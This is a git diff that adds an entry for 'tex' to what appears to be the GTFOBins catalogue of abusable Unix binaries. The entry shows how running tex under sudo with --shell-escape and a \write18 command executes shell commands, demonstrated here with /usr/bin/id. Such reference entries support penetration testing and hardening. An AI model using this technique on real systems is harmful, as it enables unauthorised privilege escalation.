diff --git a/_gtfobins/tex.md b/_gtfobins/tex.md new file mode 100644 index 0000000..a67ad9b --- /dev/null +++ b/_gtfobins/tex.md @@ -0,0 +1,6 @@ +description: `tex` has a similar behaviour as [`pdftex`](/gtfobins/pdftex/) +functions: + sudo: + - code: | + echo "\documentclass[12pt]{article} \begin{document} \write18{/usr/bin/id} \end{document}" > file.tex + tex -interaction=nonstopmode --shell-escape file.tex